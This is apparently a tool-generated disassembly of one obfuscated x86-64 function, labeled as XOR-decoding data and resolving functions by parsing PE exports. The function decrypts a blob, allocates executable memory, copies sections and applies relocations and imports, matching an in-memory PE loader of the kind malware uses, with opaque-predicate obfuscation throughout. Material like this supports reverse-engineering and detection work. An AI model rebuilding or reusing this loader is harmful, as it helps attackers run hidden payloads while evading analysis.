Function at 0x180001090
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010c2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010c2
nop
jmp 0x1800010c0
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp], rsp
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001102
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x180001102
nop
jmp 0x180001100
mov r11b, byte [section..data]
mov r15d, dword [0x180020a74]
mov r8d, dword [0x180020a78]
lea r13d, [r15 - 1]
imul r13d, r15d
and r13d, 1
sete al
cmp r8d, 0xa
setl bl
or bl, al
mov r9b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, r11d
sete al
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r12b
or r12b, al
mov r14d, ebx
or r14b, bl
cmp edx, 0xa
jl 0x180001181
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001300
mov byte [rdi], cl
test bl, bl
jne 0x180001196
nop word [rax + rax]
test bl, bl
je 0x180001190
mov byte [rdi], cl
cmp r8d, 0xa
jl 0x1800011a5
test r13d, r13d
jne 0x180001300
mov byte [rdi + 1], r9b
test bl, bl
jne 0x1800011b8
nop dword [rax]
test bl, bl
je 0x1800011b0
mov byte [rdi + 1], r9b
cmp r8d, 0xa
jl 0x1800011c7
test r13d, r13d
jne 0x180001300
mov byte [rdi + 2], r10b
test bl, bl
jne 0x1800011d8
nop
test bl, bl
je 0x1800011d0
mov byte [rdi + 2], r10b
cmp r8d, 0xa
jl 0x1800011e7
test r13d, r13d
jne 0x180001300
mov byte [rdi + 3], r11b
test bl, bl
jne 0x1800011f8
nop
test bl, bl
je 0x1800011f0
mov byte [rdi + 3], r11b
cmp r8d, 0xa
jl 0x180001207
test r13d, r13d
jne 0x180001300
test r12b, r12b
jne 0x180001362
cmp r8d, 0xa
jl 0x18000121f
test r13d, r13d
jne 0x180001320
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001330
cmp edx, 0xa
jl 0x180001245
test eax, eax
jne 0x180001310
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001340
cmp edx, 0xa
jl 0x18000126b
test eax, eax
jne 0x180001310
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001350
cmp edx, 0xa
jl 0x180001291
test eax, eax
jne 0x180001310
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
mov esi, r15d
cmovne esi, esi
test r14b, r14b
je 0x180001360
cmp edx, 0xa
jl 0x1800012b9
test eax, eax
jne 0x180001310
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp], rsp
cmp edx, 0xa
jl 0x18000116d
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
je 0x18000116d
jmp 0x180001100
jmp 0x180001300
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
jmp 0x180001340
jmp 0x180001350
jmp 0x180001360
mov r14d, dword [rdi]
test r14, r14
je 0x180001485
xor esi, esi
cmp r14d, 0x10
jb 0x18000144b
lea rax, [r14 - 1]
cmp rax, 0x400
jae 0x18000144b
mov esi, r14d
and esi, 0xfffffff0
lea rcx, [rsi - 0x10]
mov rdx, rcx
shr rdx, 4
add rdx, 1
mov eax, edx
and eax, 1
test rcx, rcx
je 0x180001412
mov rbx, rax
sub rbx, rdx
xor edx, edx
lea rdi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ecx, edx
and ecx, 0x3e0
movups xmm1, xmmword [rcx + rdi + 4]
movups xmm2, xmmword [rdx + rdi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdx + rdi + 0x414]
xorps xmm2, xmm0
movups xmmword [rdx + rdi + 0x404], xmm2
lea ecx, [rdx + 0x10]
and ecx, 0x3f0
movups xmm2, xmmword [rcx + rdi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdx + rdi + 0x414], xmm1
add rdx, 0x20
add rbx, 2
jne 0x1800013bf
jmp 0x180001414
xor edx, edx
test rax, rax
je 0x180001446
mov eax, edx
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdx + rcx + 0x404], xmm1
cmp rsi, r14
je 0x180001485
lea rdx, section..data
nop word cs:[rax + rax]
nop dword [rax]
mov eax, esi
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rsi + rdx + 0x404]
xor al, 0xc
mov byte [rsi + rdx + 0x404], al
add rsi, 1
cmp rsi, r14
jb 0x180001460
cmp r8d, 0xa
jl 0x180001492
test r13d, r13d
je 0x180001492
jmp 0x180001490
lea r15, section..data
lea rdi, [r14 + r15]
add rdi, 0x404
mov bl, byte [rdi]
mov rsi, qword [rbp]
mov byte [rsi], bl
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800014ca
test ecx, ecx
jne 0x1800014aa
cmp edx, 0xa
jl 0x1800014d7
test ecx, ecx
jne 0x1800015e0
mov r8b, byte [rdi + 1]
mov byte [rsi + 1], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001525
test ecx, ecx
je 0x180001525
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x18000151d
mov byte [rsi + 1], r8b
cmp edx, 0xa
jl 0x180001532
test ecx, ecx
jne 0x1800015e0
mov r8b, byte [rdi + 2]
mov byte [rsi + 2], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001580
test ecx, ecx
je 0x180001580
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x180001578
mov byte [rsi + 2], r8b
cmp edx, 0xa
jl 0x180001589
test ecx, ecx
jne 0x1800015e0
mov r8b, byte [rdi + 3]
mov byte [rsi + 3], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800015d7
test ecx, ecx
je 0x1800015d7
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x1800015cf
mov byte [rsi + 3], r8b
cmp edx, 0xa
jl 0x1800015e2
test ecx, ecx
je 0x1800015e2
jmp 0x1800015e0
cmp dword [0x180020a6c], 0xa
jl 0x180001602
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001602
nop dword [rax]
jmp 0x180001600
add rdi, 4
mov r9d, dword [rsi]
test r9, r9
mov qword [rbp], rdi
je 0x18000177e
xor eax, eax
cmp r9d, 0x20
jb 0x180001759
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001759
lea rcx, [r14 + r15]
add rcx, 0x408
lea rdx, [r9 + r15]
add rdx, 4
cmp rcx, rdx
jae 0x18000166c
lea rcx, [r9 + r14]
add rcx, r15
add rcx, 0x408
lea rdx, str.PYsGkrhfcnyGLBLVDJrQGLOFLTPhYUxmBpLXZjXcxxDIfjiGXeISegFiZsZyiMBBgQbLUDirIjjuRvBFwXSgerYTwOqieLUhtecEjTavvTinIljVmHUgyDtHZBhKnTYszOEQLftIQuTuvnjcZdqThnFPUCpqoAUuYYunxhwqIngAYAmYeCHFBFHXiSBPRnbSfrIztCzApvgbpJPWncMklgknkQedhYVLCbCiekfnJQfXWpAHEwbhQBGHnyFMenouqJhFKlyzLXJwzEMjziQCbTcBrqOfbbDgLcapbACahSbrjEByhjrngukfQSFZzWZCUpGRSmAAxaGCPeGWHXuhZifbUgJwCssPPizWeriebycKiFaOTwiocYYqeHADRdmLKUBzkYCKCQlbmcQgAHntqUIXOcZmdXVlPJdcnfXmBEdTbvvBFePOvosjGQbsBMraZTXmtzqXStYLggUWcQpwyLomHExahXiIClWUpEPZHomQkmafzQPAPFzLJZFURpoMfznXpHMuXViszInMzjKnheIhVgKWHqofFCFxLKMfCvYRSdoZUyyEZbOQQGzdKPVdPKEJCBcWHWSOGSzPtPXCnFUCkHfykMiOoqRbPKhELGvXTIXAvLvQDpSaMuHXVBMpylruBcJjEHQHeaYvUvILcLHKwAluHJcEFQFBaeDkUmAWwCzJxyWmuXDFClpUUefCPZfJvKTbEfDuhoorDDryWFbBnlUgERoTvGkoFbSxzvUSZYJSETdIaOhlZOVxtPBkKJOUbWAGlYvjqDqZHBhlfHMMCEltUfECLgELHbCgLZywHVZylPGHlqWHCzjATJRSVSxicosTROTSXziygRAIaATpyJdhFksTuSdIsqbKfEUOTifXYtlcgSczDBgHCFBrpfdsqFrUamLFCxKOLKHmSgftwqAfHeQqxhDcMsrZPDDdokDmjCGrBvvBaTWJxFwPDYJFaAjcDtbsubbAXJYFEFaWdAVMEWqFJEWGDsRxnCIuRpEjyWvVbRIujgCMOAe
cmp rcx, rdx
jbe 0x18000166c
xor eax, eax
jmp 0x180001759
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001712
lea r15, section..data
lea rdi, [r14 + r15]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800016ab
jmp 0x18000171b
xor esi, esi
lea r15, section..data
test r8, r8
je 0x180001750
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
mov rcx, qword [rbp]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
mov rdi, qword [rbp]
je 0x18000177e
lea rdx, [r14 + r15]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001764
cmp dword [0x180020a7c], 0xa
jl 0x1800017a2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800017a2
nop dword [rax + rax]
jmp 0x1800017a0
add r14, 0x408
movsxd rax, dword [0x180004440]
add rax, r15
add rax, 0x404
mov qword [rbp - 8], rax
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800017bd
mov r15, rdi
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800017c9
mov rsi, r15
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800017d6
mov r13, rsi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800017e2
mov rbx, r13
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800017f0
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800017fc
sub rsp, 0x20
mov rcx, rdi
call fcn.180002300
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001839
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001da1
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001868
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001da3
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x18], rdi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov edx, dword [rdi]
add rdx, r9
mov rsi, r15
nop dword [rax + rax]
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x1800018a6
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001890
cmp cl, al
je 0x1800018b4
add rdi, 4
add r10, 2
jmp 0x180001883
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018ee
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001da5
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000191d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001da7
add r8, r10
mov edx, dword [r10 + rax + 0x20]
mov edi, dword [r10 + rax + 0x24]
add rdx, r10
add rdi, r10
mov eax, dword [rdx]
add rax, r10
mov rsi, r13
nop dword [rax + rax]
movzx ebx, byte [rsi]
movzx ecx, byte [rax]
test bl, bl
je 0x180001956
add rsi, 1
add rax, 1
cmp bl, cl
je 0x180001940
cmp bl, cl
je 0x180001964
add rdx, 4
add rdi, 2
jmp 0x180001930
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp - 0x18]
call fcn.180002300
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800019c7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001da9
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x1800019fd
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001dab
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001a38
add rsi, 1
cmp al, bl
je 0x180001a20
cmp al, bl
je 0x180001a46
add rdx, 4
add r9, 2
jmp 0x180001a10
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov esi, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
mov rbx, qword [rbp]
jl 0x180001dbb
test edx, edx
je 0x180001dbb
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov r12, rbx
jl 0x180001ac6
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, rbx
and ecx, 1
jne 0x180001dad
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001ac6
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001ad5
mov r15, rbx
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001ae1
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001aeb
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001af8
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001b04
sub rsp, 0x20
mov rcx, r12
call fcn.180002300
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b40
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001daf
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b6f
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001db1
mov qword [rbp - 8], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
nop
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001ba6
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001b90
cmp cl, al
je 0x180001bb4
add r11, 4
add r10, 2
jmp 0x180001b86
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bee
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001db3
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c1d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001db5
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r15
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001c56
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001c40
cmp cl, dl
je 0x180001c64
add rdi, 4
add rsi, 2
jmp 0x180001c30
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, r12
call fcn.180002300
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001cc6
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001db7
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea r15, section..data
jl 0x180001cfc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001db9
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word cs:[rax + rax]
lea rax, [r14 + rsi]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001d39
add rsi, 1
cmp al, bl
je 0x180001d20
cmp al, bl
je 0x180001d47
add rdx, 4
add rcx, 2
jmp 0x180001d0f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + r15 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
mov rdi, qword [rbp]
jl 0x1800017a9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800017a9
jmp 0x1800017a0
jmp 0x180001da1
jmp 0x180001da3
jmp 0x180001da5
jmp 0x180001da7
jmp 0x180001da9
jmp 0x180001dab
jmp 0x180001dad
jmp 0x180001daf
jmp 0x180001db1
jmp 0x180001db3
jmp 0x180001db5
jmp 0x180001db7
jmp 0x180001db9
mov r12, rax
cmp ecx, 0xa
jl 0x180001dc9
test edx, edx
je 0x180001dc9
jmp 0x180001dc7
mov rdx, qword [rbp - 8]
lea r8, [rdx + 0x108]
xor r9d, r9d
mov rdx, qword [rbp - 8]
movzx edx, word [rdx + 6]
cmp r9, rdx
jae 0x180001eb2
cmp dword [0x180020a78], 0xa
jl 0x180001e06
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001eae
lea rdx, [r9 + r9*4]
mov eax, dword [r8 + rdx*8 + 0xc]
mov ecx, dword [r8 + rdx*8 + 0x10]
mov edx, dword [r8 + rdx*8 + 0x14]
lea rbx, section..data
lea rdi, [rdx + rbx]
add rdi, 0x404
mov rdx, r12
add rax, r12
sub rcx, 1
jb 0x180001e74
movzx edx, byte [rdi]
mov byte [rax], dl
mov esi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ebx, 0xa
jl 0x180001e61
test edx, edx
je 0x180001e61
movzx edx, byte [rdi]
mov byte [rax], dl
jmp 0x180001e37
add rdi, 1
add rax, 1
cmp ebx, 0xa
jl 0x180001e31
test edx, edx
je 0x180001e31
jmp 0x180001eac
mov esi, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
jl 0x180001e92
test edx, edx
jne 0x180001eb0
add r9, 1
cmp ecx, 0xa
jl 0x180001dd7
test edx, edx
je 0x180001dd7
jmp 0x180001dc7
jmp 0x180001eac
jmp 0x180001eae
jmp 0x180001eb0
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx + 0x30]
mov r10, r12
sub r10, rdx
cmp ecx, 0xa
jl 0x180001ed2
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
je 0x180001ed2
jmp 0x180001ed0
mov rdx, qword [rbp - 8]
mov r11d, dword [rdx + 0xb0]
mov rax, r12
add r11, r12
movabs r8, 0x1fffffff8
cmp dword [r11], 0
je 0x180002059
mov edx, dword [r11 + 4]
cmp rdx, 8
jb 0x180002018
cmp ecx, 0xa
jl 0x180001f19
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
jne 0x180002055
add rdx, r8
shr rdx, 1
mov r9d, edx
xor edi, edi
cmp r9, rdi
je 0x180002018
movzx eax, word [r11 + rdi*2 + 8]
mov edx, eax
shr edx, 0xc
mov ebx, eax
and ebx, 0xfff
cmp eax, 0xa000
jae 0x180001f66
cmp edx, 3
jne 0x180001fca
cmp ecx, 0xa
jl 0x180001fde
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180002008
jmp 0x180001fde
cmp edx, 0xa
jne 0x180001fca
mov r14d, ebx
cmp ecx, 0xa
jl 0x180001fa0
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x180001fa0
mov rax, r12
lea rdx, [r14 + r12]
jmp 0x180001f99
add rdi, 1
cmp ecx, 0xa
jl 0x180001f24
test edx, edx
je 0x180001f24
jmp 0x180002055
mov eax, dword [r11]
add qword [rdx + rax], r10
mov eax, dword [r11]
mov rcx, r12
lea rdx, [r14 + r12]
add qword [rax + rdx], r10
mov esi, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001fca
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
jne 0x180001f99
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
jl 0x180001f87
test edx, edx
je 0x180001f87
jmp 0x180002057
mov eax, dword [r11]
mov rcx, r12
lea rax, [r12 + rax*4]
add dword [rax + rbx*4], r10d
mov esi, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001fca
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
je 0x180001fca
mov eax, dword [r11]
mov rcx, r12
lea rax, [r12 + rax*4]
add dword [rax + rbx*4], r10d
jmp 0x180001fde
lea edi, [rsi - 1]
imul edi, esi
test dil, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
jne 0x180002037
xor eax, eax
test al, 1
mov eax, edx
je 0x180002031
mov edx, dword [r11 + 4]
add r11, rdx
cmp ecx, 0xa
jl 0x180001eed
and edi, 1
je 0x180001eed
jmp 0x180001ed0
jmp 0x180002055
jmp 0x180002057
cmp ecx, 0xa
jl 0x18000206b
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x18000206b
jmp 0x180002069
mov rcx, r12
lea rax, [r12 + 2]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x90]
add rax, r12
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x1800022dc
sub rsp, 0x20
mov rcx, qword [rbp - 0x18]
call fcn.180002300
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800020cb
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022d8
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800020fa
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022da
mov rax, r12
add r14, r12
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov edi, dword [r9 + rcx + 0x24]
add rbx, r9
add rdi, r9
mov esi, dword [rbx]
add rsi, r9
mov rax, r15
movzx edx, byte [rax]
movzx ecx, byte [rsi]
test dl, dl
je 0x180002131
add rax, 1
add rsi, 1
cmp dl, cl
je 0x18000211b
cmp dl, cl
je 0x18000213f
add rbx, 4
add rdi, 2
jmp 0x180002113
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov qword [rbp - 0x20], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x18000217b
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022d0
mov rdx, qword [rbp - 0x10]
mov r14d, dword [rdx]
mov ebx, dword [rdx + 0x10]
mov rdx, r12
add rbx, r12
mov qword [rbp], rbx
add r14, r12
mov rdx, qword [r14]
test rdx, rdx
je 0x1800022ae
mov rax, qword [rbp - 0x28]
add rax, rdx
test rdx, rdx
movzx r13d, dx
cmovns r13, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x18]
call fcn.180002300
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800021e2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022d2
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002211
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022d4
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov edi, dword [r9 + rcx + 0x24]
add rdx, r9
add rdi, r9
mov esi, dword [rdx]
add rsi, r9
mov rbx, qword [rbp - 0x30]
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180002243
add rbx, 1
add rsi, 1
cmp al, cl
je 0x18000222d
cmp al, cl
je 0x180002251
add rdx, 4
add rdi, 2
jmp 0x180002224
movzx eax, word [rdi]
